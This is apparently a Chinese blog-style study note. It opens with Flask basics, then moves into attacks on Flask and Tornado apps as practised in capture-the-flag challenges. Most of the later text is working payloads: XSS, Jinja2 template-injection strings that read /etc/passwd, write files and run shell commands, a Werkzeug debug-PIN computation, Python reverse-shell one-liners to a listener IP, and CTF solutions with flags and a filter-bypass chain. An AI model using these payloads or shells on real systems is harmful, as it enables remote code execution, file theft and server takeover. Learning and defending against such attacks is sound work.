flask基础知识
1 | from flask import Flask |
调试模式
有两种途径来启用调试模式。一种是直接在应用对象上设置:
1 | app.debug = True |
另一种是作为 run 方法的一个参数传入:
1 | app.run(debug=True) |
两种方法的效果完全相同。
run函数参数
1 | def run(self, host=None, port=None, debug=None, **options): |
参数
1 | host:主机,在使用run()启动服务的时候指定的IP地址,默认情况下是127.0.0.1 |
请求
1 |
|
文件上传
1 | from flask import request |
如果你想知道上传前文件在客户端的文件名是什么,你可以访问 filename 属性。但请记住, 永远不要信任这个值,这个值是可以伪造的。如果你要把文件按客户端提供的文件名存储在服务器上,那么请把它传递给 Werkzeug 提供的 secure_filename() 函数:
1 | from flask import request |
cookie
设置cookie
1 |
|
获得cookie
1 |
|
删除cookie
1 |
|
重定向
1 |
|
session
1 | from flask import Flask, session, redirect, url_for, escape, request |
模板注入
xss
1 |
|
payload
1 | http://192.168.199.246/xss/?id=<script>alert(1)</script> |
防御
1 |
|
可以看到,js代码被原样输出了。这是因为模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的
SSTI文件读取/命令执行
服务器模板注入SSTI
基础
在Jinja2模板引擎中,是变量包裹标识符。
并不仅仅可以传递变量,还可以执行一些简单的表达式。
代码同xss
payloadhttp://192.168.199.246/ssti/?id=6
查看flask配置
1 | http://192.168.199.246/ssti/?id={{config}} |
python2/3的命令执行和文件包含
python2
文件读取或者写入
1 | {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} |
任意文件写
1 | {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}} |
执行,先通过上一步的写,然后执行
1 | {{ config.from_pyfile('/tmp/owned.cfg') }} |
执行
1 | http://111.198.29.45:42293/{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )}} |
python3
任意文件读取
1 | http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}} |
一句指令任意执行
1 | http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}} |
一个payload
2.访问http://192.168.100.161:62264/%7B%7B[].__class__.__base__.__subclasses__()%7D%7D
,来查看所有模块
3.os模块都是从warnings.catch_warnings模块入手的,在所有模块中查找catch_warnings的位置,为第59个
4.访问http://192.168.100.161:62264/%7B%7B[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()%7D%7D
,查看catch_warnings模块都存在哪些全局函数,可以找到linecache函数,os模块就在其中
5.使用[‘o’+’s’],可绕过对os字符的过滤,访问http://192.168.100.161:62264/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D
查看flag文件所在
6.访问http://192.168.100.161:62264/%7B%7B%22%22.__class__.__mro__[2].__subclasses__()[40](%22fl4g%22).read()%7D%7D
,可得到flag
通用payload
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
Flask开启debug模式Pin安全
参考https://xz.aliyun.com/t/2553#toc-2
代码
1 | from flask import Flask |
运行会有一个pin值,每次不变,我这里是186-827-653
,界面输入pin值获得权限
payload
先计算pin值
1 | import hashlib |
成功拿到
服务器nc -vvlp 1234
flask
1 | import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxxxxxxx",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); |
python反弹shell
1 | python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.247.76.60",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
1 | import socket,subprocess,os; |
题目
easy_tornado模板注入
2个hint
一个是
1 | /hints.txt |
一个是
1 | flag in /fllllllllllllag |
我们要获得cookie_secret
发现模板注入http://ccd83b2b-0554-474d-a173-098a24982105.node2.buuoj.cn.wetolink.com:82/error?msg=Error
http://ccd83b2b-0554-474d-a173-098a24982105.node2.buuoj.cn.wetolink.com:82/error?msg={{1+1}}
我们之后进行各种尝试与资料获取发现对于tornado框架存在附属文件handler.settingshttp://ccd83b2b-0554-474d-a173-098a24982105.node2.buuoj.cn.wetolink.com:82/error?msg={{handler.settings}}
获得{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'c60b48df-5a65-4b5e-bf46-94c3536c65e6'}
所以得到http://ccd83b2b-0554-474d-a173-098a24982105.node2.buuoj.cn.wetolink.com:82/file?filename=/fllllllllllllag&filehash=55e8b48b796a17f8ce4efa065aeec935
flag{d9b60421-fffb-4eb1-9eb1-62e2c15be06c}
[WesternCTF2018]shrine
优秀的人写的wp都如此优秀,佩服佩服
https://ctftime.org/writeup/10895
python -c 'import pty;pty.spawn("/bin/bash")'
1 | {%print(()|attr(request['values']['x1'])|attr(request['values']['x2'])|attr(request['values']['x3'])()|attr(request['values']['x6'])(447)|attr(request['values']['x4'])|attr(request['values']['x5'])|attr(request['values']['x6'])(request['values']['x7'])|attr(request['values']['x6'])(request['values']['x8'])(request['values']['x9']))%} |